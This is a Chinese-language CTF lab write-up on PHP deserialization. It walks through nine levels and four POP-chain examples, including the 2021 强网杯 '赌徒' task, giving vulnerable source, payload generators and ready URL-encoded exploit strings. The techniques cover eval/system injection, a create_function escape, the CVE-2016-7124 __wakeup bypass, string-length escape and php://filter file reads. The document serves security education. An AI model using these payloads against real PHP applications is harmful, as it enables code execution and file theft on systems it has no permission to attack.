!!!PHP是世界上最好的语言!!!
笔者这里就不赘述基本的php知识了,遇到的时候会稍微提一提,主要是靶场练习为主
这位大佬反序列化讲的很全面,可以看看:https://www.cnblogs.com/superwinner/p/17260940.html
(下次我一定再好好学习)
LEVEL--1
题目代码如下:可以看到有eval危险函数可以执行系统命令。观察逻辑,发现可以通过控制 act 的值来执行命令
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?> 执行代码如下,有时候要在 serialize 前加上 urlencode ,为什么使用urlencode,因为在反序列化时,protected和private变量序列化后会出现不可见的字符。本文为了方便阅读,就不加了
<?php
class a{
var $act="show_source('flag.php');";
}
$flag=new a();
echo serialize($flag);EXP:
?flag=O:1:"a":1:{s:3:"act";s:24:"show_source('flag.php');";}LEVEL--2
题目代码如下:观察逻辑,调用login()函数-->判断字段 users 以及 pass 是否符合-->返回flag
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?> 直接将class抄下来,并对关键字段赋值:
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=new mylogin("daydream","ok");
echo serialize($a);EXP:
O:7:"mylogin":2:{s:4:"user";s:8:"daydream";s:4:"pass";s:2:"ok";}好了,这里我们出现了疑惑:第一题为什么不能像这样做?比如我们这样写:

执行后:O:1:"a":1:{s:3:"act";N;}发现并没有传进去,是NULL!
这是因为我们如果要在实例化对象时传递参数,需要在类中定义一个构造函数(__construct)。如果没有定义构造函数,PHP 默认的构造函数不会接受任何参数。因此,$a = new a("ppppp"); 中的参数 "ppppp" 没有被传递到对象中。
修改成这样就可以了:

(顺便说一句:在 PHP 5.0 之后,var 关键字已被废弃,应该使用 public、protected 或 private 来定义类属性。不过这是题外话了)
LEVEL--3
源码如下,发现换成cookie传参,我们只需要向cookie传参即可
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?> 执行如下代码:
<?php
highlight_file(__FILE__);
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=new mylogin("daydream","ok");
echo urlencode(serialize($a));
?>EXP: O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D
LEVEL--4
本题将php版本调到 7.1,源码:
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET['param']);
?>__destruct 方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。
当调用__destruct方法后又会进行反序列化。
当array内包裹的第一个值是对象,第二个是对象内的方法时,在反序列化后会调用该对象的方法
这里用到了 creat_function() 函数,当调用这个函数时,系统会生成生成一个匿名函数lambda{}所以我们选择 } 来闭合此函数
运行以下代码:
<?php
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{
public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a1=new func();
$b=new GetFlag();
$b->code='}include("flag.php");echo $flag;//';
$b->action="create_function";
$a1->key=serialize(array($b,"get_flag"));
echo serialize($a1);
?>EXP:
O:4:"func":1:{s:3:"key";s:136:"a:2:{i:0;O:7:"GetFlag":2:{s:4:"code";s:34:"}include("flag.php");echo $flag;//";s:6:"action";s:15:"create_function";}i:1;s:8:"get_flag";}";}LEVEL--5
本题为CVE-2016-7124,注意php版本<7.1:
当表示对象属性个数的值大于真实的属性个数的值时,绕过 wakeup() 方法
PHP 提供了 __wakeup() 魔术方法,当 unserialize() 反序列化一个对象成功后会自动调用该对象的定义的 __wakeup() 魔术方法。函数可以修改某些数据,或创建一个数据库连接,或添加一些属性
本题目源码:
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>payload:
<?php
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
echo $flag;
}
function __destruct(){
include_once($this->file);
}
function __wakeup(){
$this->file='index.php';
}
}
$a=new secret("flag.php");
echo serialize($a),"\n";
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
?>EXP:
O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7DLEVEL--6
private属性序列化的时候格式是 %00类名%00成员名
protected在变量名前添加标记\00*\00;
payload:
<?php
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$pa=new secret("system('type flag.php');");
echo serialize($pa),"\n";EXP:
O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('type flag.php');";}大写"S"表示键名或属性名
LEVEL--7
__call:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用
源码如下:
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name;
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?> 分析逻辑,在 __call() 方法中输出了flag,所以我们想办法调用, 在you类中有 __destruct(),可以将 pro 作为函数名赋值给project函数,我们可以将 body 设为 my,从而调用project方法,而该方法在my类中不存在,则会调用__call()方法,payload:
<?php
class you
{
private $body;
private $pro;
function __construct(){
$this->body=new my();
$this->pro='yourname';
}
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name='myname';
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$p=new you();
echo serialize($p);EXP:
O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}LEVEL--8
这里考察的是字符串的增量逃逸,关于逃逸问题,分为增量逃逸和字符减少逃逸
详细的知识点此处参考了两位大佬的博客:
增量逃逸
对于本题来讲:
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?> 会将flag和php转换为hack,这里我们选用php,因为php转换为hack可以增加一个字符,我们先写出如下代码
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$a=new test('php');
echo serialize($a);序列化结果如下:
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"daydream";}我们想要daydream变为escaping,那我们就需要逃逸如下字符串:
";s:4:"pass";s:8:"escaping";}将以上字符串注入到我们的代码中:
O:4:"test":2:{s:4:"user";s:3:"php";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}这里需要逃逸的字符串是29个字符,每次php变成hack会增加一个字符,要增加29个字符就需要29/1=29个php,所以构造如下:
O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}当前的s:116指的是:
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}当参与过滤函数后我们构造的
phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp会变成
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack 刚好有116个字符,就会将后面我们构造的 ";s:4:"pass";s:8:"escaping";}挤出去,从而达成逃逸,从而整体变为:
O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}减量逃逸
懒得写了,具体思想更增量差不多,这位大佬讲的很好https://www.freebuf.com/articles/web/285985.html
LEVEL9
这里是pop链的构造,多写一点,以下是常用的魔术方法:
LEVEL9
这里是pop链的构造,多写一点,以下是常用的魔术方法:
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发__sleep() 方法是 PHP 中的一个魔术方法(magic method),用于在对象被序列化(serialized)时触发。在这个方法中,你可以指定哪些属性需要被序列化,哪些属性不需要被序列化。
具体来说,当调用 serialize() 函数将一个对象序列化时,PHP 会先自动调用对象的 __sleep() 方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后 PHP 会将这些属性序列化成字符串。
__wakeup() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup() 用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize() 函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup() 方法,对其进行初始化。
__wakeup() 方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup() 方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup() 方法中进行计算
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
__destruct() 方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。
本题源码:
<?php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>一条简单的pop链
先找头和尾:
尾一般是执行函数的地方,这里是append()
要使用它可以看到__invoke()可以写入参数
要想调用invoke就需要将对象调用为函数,这里是__get()方法
想要调用get方法就需要访问类中不存在的属性,这里的__toString()可以实现
要想调用toString,那我们可以将show类以字符串的形式赋值给自己的source属性
所以头部是show类(我画的箭头是从尾到首,注意)

POC:
<?php
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p; //这是个调用函数p的方式
return $function();
}
}
$a=new Modifier();
$b=new show();
$c=new Test();
$b->source=$b; //把show类当成字符串赋值给属性source从而触发to_string
$b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
$c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invoke
echo urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发
?>EXP:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D下面我们再做几道题加深理解:
这里的例题我参考的这位师傅:https://www.cnblogs.com/pursue-security/p/15413206.html
例题一:
源码:
<?php
highlight_file(__FILE__);
class test {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "HelloWorld";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['a']);
?>老样子,找首尾:
尾部必定是一个执行函数或者是一个可以被我们拿来利用的函数,本题是evil中的action()方法
我们再看看哪里可以执行我们的action方法,发现test类中的__destrust()中可以调用action方法
但是在__construst中,我们调用的是normal类中的action方法,我们只需要改为调用evil类中的方法即可
POC:
<?php
highlight_file(__FILE__);
class test {
protected $ClassObj;
}
class evil {
private $data='phpinfo();';
}
$a=new test();
$b=new evil();
$a->ClassObj=$a;
echo serialize(urlencode($a));
?>但其实我们会发现报错:Fatal error: Uncaught Error: Cannot access protected property test::$ClassObj
这是因为ClassObj属性是protected属性,不能在类外面访问它,所以说我们得在test类里面写一个__construct()来完成这个操作:
<?php
highlight_file(__FILE__);
class test {
protected $ClassObj;
function __construct(){
$this->ClassObj=new evil();
}
}
class evil {
private $data="phpinfo();";
}
$a=new test();
echo urlencode(serialize($a));
?>例题二:
源码:
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
public function __construct($name)
{
$this->str=$name;
}
public function __destruct()
{
$this->source=$this->str;
echo $this->source;
}
}
class Show
{
public $source;
public $str;
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
}
class Uwant
{
public $params;
public function __construct(){
$this->params='phpinfo();';
}
public function __get($key){
return $this->getshell($this->params);
}
public function getshell($value)
{
eval($this->params);
}
}
$a = $_GET['a'];
unserialize($a);
?>思路分析:
老样子,先找尾,看到有eval(),在getshell方法处,这就是尾
要想调用getshell方法,需要调用__get()魔术方法
要想调用__get()方法,需要找到一个类调用不存在的属性,可以看到Show类中的__toString()可以实现
要想调用__toString(),需要找到一个类被当成字符串,可以看到__destruct()可以实现

POC:
<?php
highlight_file(__FILE__);
class Hello
{
public $source;
public $str;
}
class Show
{
public $source;
public $str;
}
class Uwant
{
public $params="phpinfo();";
}
$a=new Hello();
$b=new Show();
$c=new Uwant();
$a->str=$b;
$b->str['str']=$c;
echo urlencode(serialize($a));
?>EXP
>O%3A5%3A%22Hello%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3Ba%3A1%3A%7Bs%3A3%3A%22str%22%3BO%3A5%3A%22Uwant%22%3A1%3A%7Bs%3A6%3A%22params%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D例题三:
源码:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}开始分析:
尾是Modifier类中的append方法里面的include(),要想进入append,需要调用__invoke()
要想调用__invoke(),需要调用Test类中的__get()
要想调用__get(),需要调用Show类中的__toString()
要想调用__toString(),需要调用Show类中的__wakeup()

POC:
Welcome to index.php
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Modifier();
$b=new Show();
$c=new Show();
$d=new Test();
$b->source=$c;
$c->str=$d;
$d->p=$a;
echo urlencode(serialize($b));EXP:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D例题四:
本题是2021 强网杯 赌徒,笔者懒得在本地搭建了,只写写思路:
源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>老样子找首尾部,这里我直接放图了(这里的箭头就是从头到尾部了,之前的是从尾到头部):

POC:
<meta charset="utf-8">
<?php
error_reporting(1);
highlight_file(__FILE__);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$a=new Start();
$b=new Info();
$c=new Room();
$d=new Room();
$a->name=$b;
$b->file['ffilename']=$c;
$c->a=$d;
echo urlencode(serialize($a));
?>EXP:
O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A17%3A%22%00Info%00phonenumber%22%3Bi%3A123123%3Bs%3A7%3A%22promise%22%3Bs%3A15%3A%22I+will+not+%21%21%21%21%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A9%3A%22ffilename%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A33%3A%22syst3m%28%22cat+127.0.0.1%2Fetc%2Fhint%22%29%3B%22%3B%7D其实主要考魔术方法,找首尾,构建pop链接,有很多东西需要大家做题慢慢去体会,比如一个类里面有两个方法会被构建进pop链,那么就需要new两个此类。在构造时是从首部开始构建。。。。
笔者认为考这些就差不多了,其余进阶:https://blog.csdn.net/qq_73767109/article/details/130856442


Comments NOTHING